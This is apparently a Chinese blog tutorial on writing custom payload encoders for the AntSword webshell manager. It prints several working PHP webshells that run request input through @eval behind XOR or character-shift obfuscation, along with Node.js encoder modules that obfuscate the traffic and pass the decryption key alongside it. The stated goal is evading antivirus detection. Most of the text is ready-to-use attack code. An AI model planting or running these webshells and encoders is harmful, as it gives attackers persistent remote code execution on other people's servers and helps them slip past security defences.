蚁剑编码器——高级

蚁剑编码器------高级

其实也没啥高级不高级的

基于免杀php,把加密,解密分为两层,再把参数作适当的传递即可

先说语法

拿免杀篇最后两个马做演示

第一个

c 复制代码
* @param  {String} pwd   连接密码
* @param  {Array}  data  编码器处理前的 payload 数组
* @return {Array}  data  编码器处理后的 payload 数组
c 复制代码
data['_']为原来的数据
data[pwd]是想要传入的内容,也就是连接参数接受的内容
data['key']以key为参数传入的内容
delete data['_']; 删除原始的内容,不需要传输这个
c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}


$a=$_REQUEST["a"];
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
@eval($a);

加密解密分开写

加密

c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';

    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }

    return $result;
}
$key=123456789;
$encryptedData = xorEncryptDecrypt($a, $key);
$a = xorEncryptDecrypt($encryptedData, $key);
>

解密

c 复制代码
<?php
function xorEncryptDecrypt($data, $key) {
    $keyLength = strlen($key);
    $result = '';
    for ($i = 0; $i < strlen($data); $i++) {
        $keyChar = $key[$i % $keyLength];
        $result .= chr(ord($data[$i]) ^ ord($keyChar));
    }
    return $result;
}
$a=$_REQUEST["a"];
$key=$_REQUEST["b"];
if($key){
    $a = base64_decode(xorEncryptDecrypt($a, $key));
    @eval($a);
}

这里需要传输的是两个参数

c 复制代码
$a=$_REQUEST["a"];
$key=$_REQUEST["b"];

蚁剑是有修改body传参功能的,所以这里有两个方法,第一种,写死$key,蚁剑使用$key编码后,使用body传递值,第二种,随机key,直接在编码器中写好
注意:编码器使用的是node.js写法,写法要修改一下

固定key异或加密

c 复制代码
function xorEncryptDecrypt(data, key) {  
    let keyStr = key.toString();  
    let keyLength = keyStr.length;  
    let result = '';   
    for (let i = 0; i < data.length; i++) {   
        let keyCharCode = keyStr.charCodeAt(i % keyLength);  
        let charCode = data.charCodeAt(i);  
        let xorCharCode = charCode ^ keyCharCode;  
        result += String.fromCharCode(xorCharCode);  
    }  
    return result;  
}  
let plaintext = "";  
let key = "123456789";
let ciphertext = xorEncryptDecrypt(plaintext, key);  

参数替换为蚁剑特有的参数

c 复制代码
'use strict';

module.exports = (pwd, data, ext={}) => {
function xorEncryptDecrypt(data, key) {  
    let keyStr = key.toString();  
    let keyLength = keyStr.length;  
    let result = '';   
    for (let i = 0; i < data.length; i++) {   
        let keyCharCode = keyStr.charCodeAt(i % keyLength);  
        let charCode = data.charCodeAt(i);  
        let xorCharCode = charCode ^ keyCharCode;  
        result += String.fromCharCode(xorCharCode);  
    }  
    return result;  
} 
let key = 123456789; 
data['_']=Buffer.from(data['_']).toString('base64');
data[pwd]=xorEncryptDecrypt(data['_'],key);
delete data['_'];
return data;
}

但是这种方法需要手动在body参数里面传入参数b和内容

蚁剑编码器里给予了一种最为简单传递参数的方式,data'_',在这个例子中只需要多加一行

data'b'=key;即可

看一下数据包

第二种

c 复制代码
<?php
function simpleTransform($str, $offset = 1) {
    $transformed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $transformed .= chr((ord($str[$i]) + $offset) % 256);
    }
    return $transformed;
}

$original = $_REQUEST["a"];
$transformed = simpleTransform($original, 3);
function reverseTransform($str, $offset = 1) {
    $reversed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
    }
    return $reversed;
}

$reversed = reverseTransform($transformed, 3);
echo eval($reversed);

一样的步骤,加密解密分离

c 复制代码
<?php
$original = $_REQUEST["a"];
$key = $_REQUEST["key"];
function reverseTransform($str, $offset = 1) {
    $reversed = '';
    for ($i = 0; $i < strlen($str); $i++) {
        $reversed .= chr((ord($str[$i]) - $offset + 256) % 256);
    }
    return $reversed;
}
$reversed = reverseTransform($transformed, $key);
@eval($reversed);

加密

c 复制代码
module.exports = (pwd, data, ext={}) => {
function simpleTransform(str, offset = 1) {  
    let transformed = '';  
    for (let i = 0; i < str.length; i++) {  
        let code = str.charCodeAt(i);  
        let newCode = (code + offset) % 256;  
        transformed += String.fromCharCode(newCode);  
    }  
    return transformed;  
}  
let random = Math.floor(Math.random() * 6) + 5;
data['_']=Buffer.from(data['_']).toString('base64');
data['key']=random;
data[pwd]=simpleTransform(data['_'],random);
delete data['_'];
return data;
}

这里只是以两个简单的例子作为演示,仅以普通的$_REQUEST来获取内容,可以通过sessions,cookie等方式进行传输,也可以通过其他的方式进行加密

相关推荐
千里马学框架3 天前
一起学 Android 14:ShellTransition 屏幕旋转过程深度剖析
android·智能手机·性能优化·framework·性能·屏幕旋转·rotation
美狐美颜SDK开放平台3 天前
开发直播APP时如何接入视频美颜SDK?开发流程与注意事项
android·人工智能·计算机视觉·音视频·直播美颜sdk
AFinalStone3 天前
Android7 SystemUI源码解析(七)Keyguard锁屏模块深度解析
android·systemui
致远ccc3 天前
Google Play 上架前如何测试 App?多国家 Android 环境测试
android·app测试·googleplay·多国家应用测试
ttyyttemo3 天前
Kotlin 协程中的 Job 结构化并发与取消
android
sun0077003 天前
tbox 4g/5g切换,导致wan ip 改变,导致车机旧网络不可用。需要重启车机才行
android
其实防守也摸鱼3 天前
内网穿透与反向代理:原理、工具与实战指南
android·大数据·运维·安全·网络安全·自动化·渗透
AFinalStone3 天前
Android7 SystemUI 源码解析(四)NavigationBar 导航栏与 SystemBars
android·systemui
JMchen3 天前
属性动画原理与高级动画实现
android·kotlin·canvas
AFinalStone3 天前
Android7 SystemUI 源码解析(二)启动流程深度解析
android·systemui